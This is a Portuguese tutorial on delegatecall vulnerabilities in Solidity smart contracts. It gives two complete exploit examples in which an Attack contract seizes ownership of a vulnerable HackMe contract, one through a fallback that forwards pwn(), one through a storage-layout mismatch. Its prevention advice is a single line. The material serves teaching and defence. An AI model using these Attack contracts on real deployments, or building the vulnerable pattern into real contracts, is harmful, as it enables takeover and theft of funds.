Chamada de função delegatecall

porMatheusem21/06/2022

Nesse artigo iremos aprender a como um contrato malicioso age para acessar e chamar as funções delegatecall e como previnir um ataque em seu contrato inteligente.

Vulnerabilidade

A função delegatecall é complicada de usar e se usado de maneira errada ou compreensão incorreta pode levar a resultados devastadores para seu contrato.
Você deve manter 2 coisas em mente ao utilizar o delegatecall:

  • delegatecall preserva o contexto (armazenamento, chamador, etc...)
  • o layout de armazenamento deve ser o mesmo para a chamada da função delegatecall do contrato e para obter o contrato que está fazendo a chamada.

Um exemplo de como um ataque funciona:
HackMe é um contrato que usa delegatecall para executar um código. Não é óbvio que o proprietário do HackMe possa ser alterado, pois não há função dentro do HackMe para fazer isso.
No entanto, um invasor pode sequestrar o contrato explorando o delegatecall.

Vamos ver como:

  1. Alice implanta Lib
  2. Alice implanta o HackMe com endereço de Lib
  3. Eve implanta Ataque com endereço de HackMe
  4. Eve chama Attack.attack()
  5. Attack agora é o dono do HackMe

O que aconteceu?

  1. Eve chamou Attack.attack()
  2. Ataque chamou a função fallback do HackMe enviando a função seletor de pwn(). HackMe encaminha a chamada para Lib usando delegatecall
  3. Aqui msg.data contém o seletor de função de pwn()
  4. Isso diz ao Solidity para chamar a função pwn() dentro da Lib
  5. A função pwn() atualiza o proprietário para msg.sender
  6. Delegatecall executa o código de Lib usando o contexto de HackMe
  7. Portanto, o armazenamento do HackMe foi atualizado para msg.sender onde msg.sender é o chamador de HackMe, neste caso Attack
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract Lib {
address public owner;
function pwn() public {
owner = msg.sender;
}
}
contract HackMe {
address public owner;
Lib public lib;
constructor(Lib _lib) {
owner = msg.sender;
lib = Lib(_lib);
}
fallback() external payable {
address(lib).delegatecall(msg.data);
}
}
contract Attack {
address public hackMe;
constructor(address _hackMe) {
hackMe = _hackMe;
}
function attack() public {
hackMe.call(abi.encodeWithSignature("pwn()"));
}
}

Aqui está outro exemplo.
Você precisará entender como o Solidity armazena as variáveis de estado antes de entender essa exploração.

Esta é uma versão mais sofisticada do código anterior.

  1. Alice implanta Lib e HackMe com o endereço de Lib
  2. Eve implanta Ataque com o endereço do HackMe
  3. Eve chama Attack.attack()
  4. Attack agora é o dono do HackMe

O que aconteceu?
Observe que as variáveis de estado não são definidas da mesma maneira em Lib e HackMe. Isso significa que chamar Lib.doSomething() mudará a primeiro variável de estado dentro do HackMe, que é o endereço de lib.

Dentro de attack(), a primeira chamada para doSomething() altera o endereço de lib para armazenar no HackMe. O endereço da lib agora está definido como Attack.
A segunda chamada para doSomething() chama Attack.doSomething() e é aqui que nós mudamos o proprietário.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract Lib {
uint public someNumber;
function doSomething(uint _num) public {
someNumber = _num;
}
}
contract HackMe {
address public lib;
address public owner;
uint public someNumber;
constructor(address _lib) {
lib = _lib;
owner = msg.sender;
}
function doSomething(uint _num) public {
lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num));
}
}
contract Attack {
// Verifique se o layout de armazenamento é o mesmo do HackMe
// Isso nos permitirá atualizar corretamente as variáveis de estado
address public lib;
address public owner;
uint public someNumber;
HackMe public hackMe;
constructor(HackMe _hackMe) {
hackMe = HackMe(_hackMe);
}
function attack() public {
// substituir endereço de lib
hackMe.doSomething(uint(uint160(address(this))));
// passar qualquer número como entrada,
// a função doSomething() abaixo irá ser chamado
hackMe.doSomething(1);
}
// a assinatura da função deve corresponder a HackMe.doSomething()
function doSomething(uint _num) public {
owner = msg.sender;
}
}

Técnicas Preventivas

  • Usar Library sem mudança de estado

Testar no Remix